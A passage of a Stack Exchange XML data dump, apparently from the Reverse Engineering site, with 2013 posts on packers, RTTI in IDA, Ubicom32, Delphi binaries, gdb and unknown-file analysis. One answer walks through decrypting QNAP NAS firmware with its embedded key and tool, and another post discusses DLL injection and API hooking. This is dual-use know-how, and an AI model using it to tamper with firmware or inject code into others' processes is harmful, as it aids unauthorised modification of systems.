time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2729" LastActivityDate="2013-08-29T07:16:03.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2711" PostTypeId="2" ParentId="2708" CreationDate="2013-08-29T07:18:35.407" Score="3" Body="&lt;p&gt;You might want to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;give your packer stub have the same standard ImageBase&lt;/li&gt;&#xA;&lt;li&gt;allocates memory somewhere else&lt;/li&gt;&#xA;&lt;li&gt;relocate the (EIP-independant, for convenience) stub code there&lt;/li&gt;&#xA;&lt;li&gt;to rebuild the original code at the original ImageBase without any risk.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-08-29T07:18:35.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2712" PostTypeId="2" ParentId="2585" CreationDate="2013-08-29T19:16:09.810" Score="9" Body="&lt;p&gt;If the binary itself has RTTI info compiled in it then you can get at least the names for the vftables, and to some degree a class/struct hierarchy.&#xA;For Windows x86 you can use &lt;a href=&quot;http://www.macromonkey.com/bb/viewtopic.php?f=65&amp;amp;t=705&quot;&gt;my IDA plug-in &quot;Class Informer&quot;&lt;/a&gt;.&#xA;Also see for reference &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot;&gt;Reversing Microsoft Visual C++ Part II: Classes, Methods and RTTI&lt;/a&gt; by igorsk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise AFAIK (and know the area well) I doubt there is a plug-in that exists to do what you want.&#xA;While structures exist in IDA, C++ classes don't. C++ is not part of IDA's world directly. &#xA;That's more in the realm of a particular language, one of many, while IDA is about assembly and byte code domains; with the exception of the HexRays decompiler plug-in, which sort of adds a C/C++ thing on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure you can relate the actual binary address to a given C++ method, and, or vftable et al?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate you will probably have to write your own plug-in, and, or scripts to do what you want.&lt;/p&gt;&#xA;" OwnerUserId="2733" LastEditorUserId="107" LastEditDate="2013-08-31T01:26:54.090" LastActivityDate="2013-08-31T01:26:54.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2713" PostTypeId="2" ParentId="2703" CreationDate="2013-08-30T19:33:35.930" Score="1" Body="&lt;p&gt;A decompiler and more of a suite as far as i can understand (my friend recommends it at least) is &lt;a href=&quot;http://www.virtuous-ten-studio.com/index.php/downloads&quot; rel=&quot;nofollow&quot;&gt;http://www.virtuous-ten-studio.com/index.php/downloads&lt;/a&gt; which seems to do dex2jar at least. Hope it's an alternative at the very least.&lt;/p&gt;&#xA;" OwnerUserId="1612" LastActivityDate="2013-08-30T19:33:35.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2714" PostTypeId="2" ParentId="2704" CreationDate="2013-08-31T00:09:45.493" Score="22" Body="&lt;p&gt;I've been dissecting the firmware for another type of embedded device for a while and thought I'd see if I could find anything out.  After a few hours I figured it out!  There is a hard way and an easy way that I found only after digging the hard way.  This is a long post, but I hope it will help others in similar ventures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little Googling and I found &lt;a href=&quot;http://wiki.qnap.com/wiki/Firmware_Recovery&quot;&gt;http://wiki.qnap.com/wiki/Firmware_Recovery&lt;/a&gt; describing full firmware recovery methods and another page on the same wiki for &quot;Manually Updating Firmware&quot; with command line examples. A couple of things stuck out ...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The NAS OS has a script for processing a firmware update image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /etc/init.d/update.sh /mnt/HDA_ROOT/update/TS-209_2.1.2_build1031.img&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is a checksum embedded in the binary and THEN there is this line in the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Using 120-bit encryption - (QNAPNASVERSION4)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I went down 2 paths: the hard way, and the very easy way ...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Hard Way (but with useful tips)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I downloaded the TS-569 full system recovery image from the Firmware Recovery page which took almost 2 hours for 500MB.  Now I had to figure out what I was working with:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# file F_TS-569_20120628-1.2.2.img&#xA;F_TS-569_20120628-1.2.2.img: x86 boot sector; GRand Unified Bootloader, ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A full disk image which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ fdisk -l F_TS-569_20120628-1.2.2.img&#xA;                      Device Boot      Start         End      Blocks   Id  System&#xA;F_TS-569_20120628-1.2.2.img1              32        4351        2160   83  Linux&#xA;F_TS-569_20120628-1.2.2.img2   *        4352      488959      242304   83  Linux&#xA;F_TS-569_20120628-1.2.2.img3          488960      973567      242304   83  Linux&#xA;F_TS-569_20120628-1.2.2.img4          973568     1007615       17024    5  Extended&#xA;F_TS-569_20120628-1.2.2.img5          973600      990207        8304   83  Linux&#xA;F_TS-569_20120628-1.2.2.img6          990240     1007615        8688   83  Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Separate out the partitions (or you could write the image to a spare disk):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# dd if=F_TS-569_20120628-1.2.2.img bs=512 of=part1 skip=32 count=2160w&#xA;# dd if=F_TS-569_20120628-1.2.2.img bs=512 of=part2 skip=4352 count=242304w&#xA;# dd if=F_TS-569_20120628-1.2.2.img bs=512 of=part3 skip=488960 count=242304w&#xA;# dd if=F_TS-569_20120628-1.2.2.img bs=512 of=part5 skip=973600 count=8304w&#xA;# dd if=F_TS-569_20120628-1.2.2.img bs=512 of=part6 skip=990240 count=8688w  &#xA;... which gives  &#xA;-rw-r--r-- 1 root   root     2211840 2013-08-30 15:41 part1&#xA;-rw-r--r-- 1 root   root   248119296 2013-08-30 15:42 part2&#xA;-rw-r--r-- 1 root   root   248119296 2013-08-30 15:42 part3&#xA;-rw-r--r-- 1 root   root     8503296 2013-08-30 15:42 part5&#xA;-rw-r--r-- 1 root   root     8896512 2013-08-30 15:42 part6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Partition 3 is a mirror of partition 2, verified through md5sum.  Partitions 5 and 6 are empty, likely for scratch space.  Partition 1 is &lt;strong&gt;/boot/grub&lt;/strong&gt; which contains modules and the like for booting and hardware configuration. So lets look at partition 2, the boot partition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# mkdir /mnt/ts2&#xA;# mount -r part2 /mnt/ts2 -o loop&#xA;# ls -la /mnt/ts2/boot&#xA;-rw-r--r-- 1 root root  3982976 2012-06-27 22:17 bzImage&#xA;-rw-r--r-- 1 root root       81 2012-06-27 22:17 bzImage.cksum&#xA;-rw-r--r-- 1 root root  8890727 2012-06-27 22:17 initrd.boot&#xA;-rw-r--r-- 1 root root       85 2012-06-27 22:17 initrd.boot.cksum&#xA;-rw-r--r-- 1 root root 73175040 2012-06-27 22:17 qpkg.tar&#xA;-rw-r--r-- 1 root root       83 2012-06-27 22:17 qpkg.tar.cksum&#xA;-rw-r--r-- 1 root root 33593992 2012-06-27 22:17 rootfs2.bz&#xA;-rw-r--r-- 1 root root       85 2012-06-27 22:17 rootfs2.bz.cksum&#xA;-rw-r--r-- 1 root root 31160679 2012-06-27 22:17 rootfs_ext.tgz&#xA;-rw-r--r-- 1 root root       87 2012-06-27 22:17 rootfs_ext.tgz.cksum&#xA;# file -z /mnt/ts2/boot/initrd.boot&#xA;/mnt/ts2/boot/initrd.boot: Linux rev 1.0 ext2 filesystem data, UUID=770ce31c-d03f-484e-81e8-6911340bdcbf (gzip compressed data, from Unix, last modified: Wed Jun 27 22:16:58 2012, max compression)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bzImage is the compressed kernel image&lt;/li&gt;&#xA;&lt;li&gt;initrd is the initial ramdisk root filesystem that gets the OS running&lt;/li&gt;&#xA;&lt;li&gt;qpkg.tar holds various software packages for the NAS&lt;/li&gt;&#xA;&lt;li&gt;rootfs2.bz is a compressed tarball of some /home, /lib, and /usr files&lt;/li&gt;&#xA;&lt;li&gt;rootfs_ext.tgz is a compressed tarball of another ext2 filesystem of /opt/source for apache, php5, mysql, and what appears to be a backup of the NVRAM settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the magic is inside the initrd filesystem image.  Peering into that we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# gunzip -c /mnt/ts2/boot/initrd.boot &amp;gt;/tmp/initrd.boot.img&#xA;# mkdir /mnt/tsinitrd&#xA;# mount -r /tmp/initrd.boot.img /mnt/tsinitrd -o loop&#xA;# ls -la /mnt/tsinitrd&#xA;drwxr-xr-x  2 root root  2048 2012-06-27 22:05 bin&#xA;drwxr-xr-x  5 root root 13312 2012-06-27 22:11 dev&#xA;drwxr-xr-x 22 root root  2048 2012-06-27 22:15 etc&#xA;drwxr-xr-x  3 root root  3072 2012-06-27 22:05 lib&#xA;drwxr-xr-x  2 root root  1024 2010-11-03 04:53 lib64&#xA;lrwxrwxrwx  1 root root    11 2012-06-27 22:16 linuxrc -&amp;gt; bin/busybox&#xA;drwx------  2 root root 12288 2012-06-27 22:16 lost+found&#xA;drwxr-xr-x  4 root root  1024 2012-06-27 22:04 mnt&#xA;drwxr-sr-x  2 root root  1024 2012-06-27 22:16 opt&#xA;lrwxrwxrwx  1 root root    19 2012-06-27 22:16 php.ini -&amp;gt; /etc/config/php.ini&#xA;drwxr-sr-x  2 root root  1024 1999-11-02 18:54 proc&#xA;lrwxrwxrwx  1 root root    18 2012-06-27 22:16 Qmultimedia -&amp;gt; /share/Qmultimedia&#xA;drwxr-xr-x  3 root root  1024 2007-07-18 05:24 root&#xA;drwxr-xr-x  2 root root  5120 2012-06-27 22:15 sbin&#xA;drwxrwxr-x 29 root root  1024 2006-02-28 00:57 share&#xA;drwxrwxrwx  4 root root  1024 2006-02-28 00:57 tmp&#xA;drwxrwxrwx  8 root root  1024 2012-06-27 22:15 var&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember the 2 things that stuck out from the Firmware Recovery page?  The update script and the encryption reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# more /mnt/tsinitrd/etc/init.d/update.sh&#xA;...&#xA;... line 223&#xA;    /sbin/PC1 d QNAPNASVERSION4 $path_name ${_tgz};&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's the reference to what appears to be the encryption key and perhaps the decrypter!&#xA;Since this NAS firmware image is x86 based, and I'm in an x86 VM, might as well try it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /mnt/tsinitrd/sbin/PC1&#xA;Usage: pc1 e|d &quot;key&quot; sourcefile &amp;lt;targetfile&amp;gt;&#xA;where: e - encrypt, d - decrypt &amp;amp; &quot;key&quot; is the encryption key.&#xA;The length of the key will determine strength of encryption&#xA;If no targetfile, output file name is equal to sourfile name&#xA;ie: 5 characters is 40-bit encryption.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /mnt/tsinitrd/sbin/PC1 d QNAPNASVERSION4 TS-569_20130726-4.0.2.img TS-569_20130726-4.0.2.tgz&#xA;Using 120-bit encryption - (QNAPNASVERSION4)&#xA;len=1048576&#xA;model name = TS-569&#xA;version = 4.0.2&#xA;&#xA;# tar -tvf TS-569_20130726-4.0.2.tgz &#xA;-rw-r--r-- root/root       106 2013-07-25 20:49 bios_layout&#xA;drwxr-xr-x root/root         0 2013-07-25 20:49 boot/&#xA;-rw-r--r-- root/root   4557984 2013-07-25 20:49 bzImage&#xA;-rw-r--r-- root/root        69 2013-07-25 20:49 bzImage.cksum&#xA;drwxr-xr-x root/root         0 2013-07-25 20:49 config/&#xA;-rwxr-xr-x root/root     48408 2013-07-25 20:49 dmidecode&#xA;-rwxr-xr-x root/root    356714 2013-07-25 20:49 flashrom&#xA;-rw-r--r-- root/root   2097152 2013-07-25 20:49 flashrom.img&#xA;-rw-r--r-- root/root        33 2013-07-25 20:49 fw_info&#xA;-rw-r--r-- root/root   8480290 2013-07-25 20:49 initrd.boot&#xA;-rw-r--r-- root/root        73 2013-07-25 20:49 initrd.boot.cksum&#xA;-rwxr-xr-x root/root   1606508 2013-07-25 20:49 libcrypto.so.1.0.0&#xA;-rwxr-xr-x root/root    372708 2013-07-25 20:49 libssl.so.1.0.0&#xA;-rw-r--r-- root/root  81090560 2013-07-25 20:49 qpkg.tar&#xA;-rw-r--r-- root/root        72 2013-07-25 20:49 qpkg.tar.cksum&#xA;-rw-r--r-- root/root  41185897 2013-07-25 20:49 rootfs2.bz&#xA;-rw-r--r-- root/root        74 2013-07-25 20:49 rootfs2.bz.cksum&#xA;-rw-r--r-- root/root  47500086 2013-07-25 20:49 rootfs_ext.tgz&#xA;-rw-r--r-- root/root        78 2013-07-25 20:49 rootfs_ext.tgz.cksum&#xA;drwxr-xr-x root/root         0 2013-07-25 20:49 update/&#xA;-rw-r--r-- root/root       105 2013-07-25 20:49 update_bios.conf&#xA;-rwxr-xr-x root/root      3188 2013-07-25 20:49 update_bios.sh&#xA;-rwxr-xr-x root/root      6088 2013-07-25 20:49 update_check&#xA;-rwxr-xr-x root/root     22041 2013-07-25 20:49 update_img.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of that to get to an executable that decrypts the firmware image for us, a script that gives us the decryption key in plain text, and a way to package everything back together if we wanted to modify something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and now for something completely different&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Very Easy Way&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once I got to the end of the &quot;hard way&quot;, I decided to google for the encryption key &quot;QNAPNASVERSION4&quot;.  The first result was for the PC1 enc/dec algorithm in C that someone has already so kindly modified to handle the firmware format specifics for us: &lt;a href=&quot;http://www.r00ted.com/downloads/pc1.c&quot;&gt;http://www.r00ted.com/downloads/pc1.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: Link was reported broken, here's a dump: &lt;a href=&quot;http://pastebin.com/KHbX85nG&quot;&gt;http://pastebin.com/KHbX85nG&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# gcc -o pc1 pc1.c&#xA;# pc1 d QNAPNASVERSION4 TS-569_20130726-4.0.2.img TS-569_20130726-4.0.2.tgz&#xA;# tar -tvf TS-569_20130726-4.0.2.tgz&#xA;-rw-r--r-- root/root       106 2013-07-25 20:49 bios_layout&#xA;drwxr-xr-x root/root         0 2013-07-25 20:49 boot/&#xA;-rw-r--r-- root/root   4557984 2013-07-25 20:49 bzImage&#xA;... same result as the hard way&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have a utility that will decrypt your firmware file from the comfort of your own OS without needing physical access to the NAS.&lt;/p&gt;&#xA;" OwnerUserId="2741" LastEditorUserId="2741" LastEditDate="2014-08-19T19:20:49.913" LastActivityDate="2014-08-19T19:20:49.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2715" PostTypeId="1" CreationDate="2013-08-31T03:12:34.623" Score="5" ViewCount="6716" Body="&lt;p&gt;I'd like to write something using Python C-Types that hooks API calls and can be leveraged for unpacking executables. Currently my (Python with C-Types) code launches an executable in a suspended state then performs DLL injection using the &lt;code&gt;createremotethread&lt;/code&gt; API. The DLL is loaded and the code is successfully executed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like the injected code to patch the executable so that it hooks certain API calls.  Eventually I'd like to find code caves but I'm currently just allocating virtual memory (&lt;code&gt;virtualalloc&lt;/code&gt;).  I'd like to do this using just Python.  Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine since it can be done in C it can be accomplished using Python's C-Types.  In my research I've seen people use &lt;code&gt;DiStorm&lt;/code&gt; for certain parts of this, but again  I'd like to use Python. I understand that this has been done before but I'd like to code something up as a learning exercise.  Looking for some direction and any guidance is welcomed.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastEditorUserId="189" LastEditDate="2013-08-31T05:16:20.183" LastActivityDate="2013-08-31T07:05:33.110" Title="API hooking using DLL injection with Python C-Types" Tags="|python|dll-injection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2716" PostTypeId="1" CreationDate="2013-08-31T03:48:53.947" Score="7" ViewCount="5441" Body="&lt;p&gt;While reading some threads on other reverse engineering forums, I learned that executable programs compiled in Delphi have special properties. I'm not sure what those special properties are but I think it somehow makes them harder to reverse engineer. Does anyone know what these special properties are?&lt;/p&gt;&#xA;" OwnerUserId="2744" LastActivityDate="2013-09-02T12:45:18.647" Title="Special Properties of Delphi (Object Pascal) Executables" Tags="|executable|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2717" PostTypeId="1" CreationDate="2013-08-31T06:10:57.747" Score="7" ViewCount="446" Body="&lt;p&gt;On OSX I'm trying to debug/attach to a framework that the application unarchives at runtime. The frame work normally resides in the /Resources folder within the application bundle as .gz file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that framework doesn't appear to show up anywhere in the processes that I can see. Besides that I have no idea how to attach to it while it's loaded in memory to set a breakpoint so I can start debugging. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or advice on the peculiarly crafted framework would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2745" LastActivityDate="2013-09-01T08:20:00.133" Title="Attaching gdb to hidden library/process" Tags="|debuggers|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2718" PostTypeId="2" ParentId="2715" CreationDate="2013-08-31T06:57:11.377" Score="4" Body="&lt;p&gt;please look at the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/OpenRCE/pydbg&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PyDBG&lt;/strong&gt;&lt;/a&gt; - it's a python wrapper around Win Debug API and much more. The framework enables one to literally inspect every aspect of the running process by registering event handlers for BPs, memory executions/reads/writes, stack inspection, etc.. You can change whatever you want in the process you are debugging.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wikisecure.net/security/pydbg-an-installation-guide&quot; rel=&quot;nofollow&quot;&gt;PyDBG installation&lt;/a&gt; - it's a little bit old but can point you in the right direction.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pydbg&quot; rel=&quot;nofollow&quot;&gt;Pre-compiled installation for PyDBG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://winappdbg.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;WinAppDbg&lt;/a&gt; - python module allows developers to quickly code instrumentation scripts in Python under a Windows environment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By using the above tools you can write a general unpacker and if you find something more serious, there is no other way , other than do it manually and incorporate the knowledge into scripts. I've experience with the above tools for solving just the same problem you are trying to solve, and I can tell that those frameworks do a good job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a start you can BP all memory allocation, protections changing and freeing APIs and inspect those buffers - (&lt;em&gt;VirtualAlloc(Ex), VirtualFree, VirtualProtect&lt;/em&gt;). In addition, add &lt;em&gt;WriteProcessMemory&lt;/em&gt; and inspect buffer that just to be written to other processes (in case of malware). For more advanced packers you can also inspect *UnmapViewOfSection APIs too.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-08-31T07:05:33.110" LastActivityDate="2013-08-31T07:05:33.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2719" PostTypeId="2" ParentId="2717" CreationDate="2013-08-31T07:06:25.237" Score="2" Body="&lt;p&gt;I don't have experience of OSX, but at the least in Linux you can do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, get some idea what system calls (&lt;code&gt;syscall&lt;/code&gt; or &lt;code&gt;int 80h&lt;/code&gt; in Linux) the library might be using, if any. You can use your favorite disassembler or code tracer for this part. If the library itself does not have any system calls, find out or deduce what system calls its child functions may be using. If you have no idea or this step gets too difficult due to the size and/or complexity of the library, you can skip this first part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, start &lt;code&gt;gdb&lt;/code&gt; with the program. If by now you already know which system calls to catch, then catch only those. Otherwise catch them all. The command is &lt;code&gt;catch syscall&lt;/code&gt;. Then &lt;code&gt;r&lt;/code&gt; to run the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I usually do &lt;code&gt;disp/10i $pc&lt;/code&gt; to see a little a bit of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you're inside the system call, do &lt;code&gt;backtrace&lt;/code&gt; to print the stack frames. Set breakpoints in all of them or only in the ones you're interested of. The instruction to use is &lt;code&gt;break&lt;/code&gt;, for example &lt;code&gt;break *0xdeadbeef&lt;/code&gt;. Then &lt;code&gt;continue&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you arrived in the desired library or function, great. If not, then &lt;code&gt;delete&lt;/code&gt; the breakpoint you arrived in and then &lt;code&gt;continue&lt;/code&gt;, and repeat until you arrive in the function you're interested of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1648" LastEditorUserId="1648" LastEditDate="2013-09-01T08:20:00.133" LastActivityDate="2013-09-01T08:20:00.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2720" PostTypeId="1" AcceptedAnswerId="2721" CreationDate="2013-08-31T11:21:52.703" Score="7" ViewCount="1822" Body="&lt;p&gt;I am currently reversing firmware for some device.&#xA;Without any issues I was able to reach deep into its core and extract the file-system. Now I was trying to reverse some of the special applications on this device. After checking the file format I noticed the following: It is an ELF 32-bit MSB (big-endian) on the Ubicom32 platform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After googling, checking woodmann and tinkering with it a bit I couldn't find too much information about this format expect the fact that &quot;it exist&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there tools (or plug-ins) that handle this file format? Can I just regard this as ARM or MIPS? I did find &lt;a href=&quot;https://dev.openwrt.org/browser/trunk/target/linux/ubicom32?rev=19815&amp;amp;order=name#files/arch/ubicom32&quot; rel=&quot;nofollow&quot;&gt;OpenWRT - Ubicom32 Kernel&lt;/a&gt; but no toolchain.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2035" LastEditDate="2013-09-02T16:33:33.557" LastActivityDate="2013-12-17T08:09:32.577" Title="What is the Ubicom32 toolchain and where can I find it?" Tags="|firmware|ubicon32|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2721" PostTypeId="2" ParentId="2720" CreationDate="2013-08-31T14:47:53.543" Score="8" Body="&lt;p&gt;Ubicom32 is a proprietary architecture, not at all related to ARM or MIPS (other than the fact that it is RISC...well, kind of). IIRC it was designed specifically for networking and multimedia streaming applications, so it's a bit of an odd architecture. It was developed by Ubicom, but they were bought by Qualcomm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are Linux tool chains out there for it, the best place to get them that I've found is from vendor GPL releases. If there is no GPL release for your particular device, look for other Ubicom-based devices from that vendor (or other vendors) which do have GPL releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware that just having a toolchain probably won't be sufficient for reversing the code, you'll need an assembly reference to understand the instructions as well. AFAIK Ubicom never released this publicly, but some creative Googling turned up some mostly complete references for me a while back. I'll see if I can track down the links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Found the datasheet for the IP5000 series Ubicom CPUs, which includes an instruction set reference: &lt;a href=&quot;http://www.texim-europe.com/getfile.aspx?id=68544&quot;&gt;http://www.texim-europe.com/getfile.aspx?id=68544&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1408" LastEditDate="2013-08-31T14:56:01.660" LastActivityDate="2013-08-31T14:56:01.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2722" PostTypeId="2" ParentId="2716" CreationDate="2013-08-31T21:09:43.940" Score="3" Body="&lt;p&gt;There are many Delphi-specific &quot;programming elements&quot; such as classes, units, VCL libraries, etc. For more information, you may want to refer to &lt;a href=&quot;http://delphi.about.com/od/beginners/a/delphicourse_2.htm&quot; rel=&quot;nofollow&quot;&gt;A Beginner's Guide to Delphi Programming&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in terms of reverse engineering applications written in Delphi (and extracting information on these &quot;programming elements&quot;), the tool &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/DeDe&quot; rel=&quot;nofollow&quot;&gt;DeDe&lt;/a&gt; is invaluable.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-08-31T21:09:43.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2723" PostTypeId="1" CreationDate="2013-09-01T11:06:17.497" Score="13" ViewCount="8399" Body="&lt;p&gt;I guess this is the worst case. I have a file which was initially base64 encoded. This step was easy. But now all I can see is a bunch of rubbish. No structure, nearlly a maximum of entropy, no periods nothing. I have no more information except:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the size of 5120 KByte&lt;/li&gt;&#xA;&lt;li&gt;there is more than one file inside of this&lt;/li&gt;&#xA;&lt;li&gt;they are all of the same type&lt;/li&gt;&#xA;&lt;li&gt;the used encryption or compression or whatever algorithm is used is some &quot;standard&quot; one&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tested so many things ... Does anyone of you has a clue on how to go forward? I am running out of ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The histogram which has been now deleted was not correct. Anyway I have no idea how to go on further. Trying to open it with truecrypt to be sure it is not a container didn't work. Do you have any more tips on how to find the files in this?&lt;/p&gt;&#xA;" OwnerUserId="2749" LastEditorUserId="2749" LastEditDate="2013-09-01T12:33:16.480" LastActivityDate="2013-09-04T16:39:34.800" Title="Totally unknown file analysis approaches" Tags="|binary-analysis|encryption|decryption|encodings|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2724" PostTypeId="2" ParentId="2723" CreationDate="2013-09-01T11:42:18.877" Score="5" Body="&lt;p&gt;I would start with checking the first bytes of a file after base64 decoding. Those would indicate what file format is. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;MZ(5A4D)&lt;/strong&gt; - meaning this is an executable file and you can start with executing it in save (virtual) environment with SysInternals utilities open - ProcMon and Process explorer. In addition, calculate its MD5 value and look it in the Net, VirusTotal. If you have reversing/low tech skills, I also recommend to download a free copy of IDA 5.0 and try to check it there.&lt;/li&gt;&#xA;&lt;li&gt;Other file format, then try to look for it's first bytes in hex format in the Net too. One of the good places is &lt;a href=&quot;http://www.garykessler.net/library/file_sigs.html&quot; rel=&quot;nofollow&quot;&gt;FILE SIGNATURES TABLE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Try to load the decoded file in hex editor and check if there any strings, that might look familiar or with some meaning.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-09-01T14:02:07.597" LastActivityDate="2013-09-01T14:02:07.597" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2725" PostTypeId="2" ParentId="2716" CreationDate="2013-09-02T04:50:35.290" Score="8" Body="&lt;p&gt;Delphi uses an object-oriented language based on Pascal, it is similar in many ways to reversing C++. Here are some things specific to Delphi that I found important to know when reversing such applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Libraries and required functions from the RTL (Delphi Run Time Library) are usually statically  compiled in the application binary. This results in large binaries with a large number of functions. Components code is usually placed at the beginning of the executable by the compiler and user code is placed after. Properly identifying and naming library functions can save you a lot of time, if using IDA make sure the appropriate FLIRT signatures are applied (probably one of the bds signature for recent applications). &lt;a href=&quot;http://kpnc.org/idr32/en/index.htm&quot;&gt;IDR&lt;/a&gt; also has its own set of signatures and can sometimes provide other useful information like class names and decompiled code. It is possible to export data from IDR to an IDC script and load it in IDA, the IDA signatures should be reapplied after as the IDC will remove some function names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RTL is well documented on the website of Embarcadero which bought Delphi (don't waste your time searching on 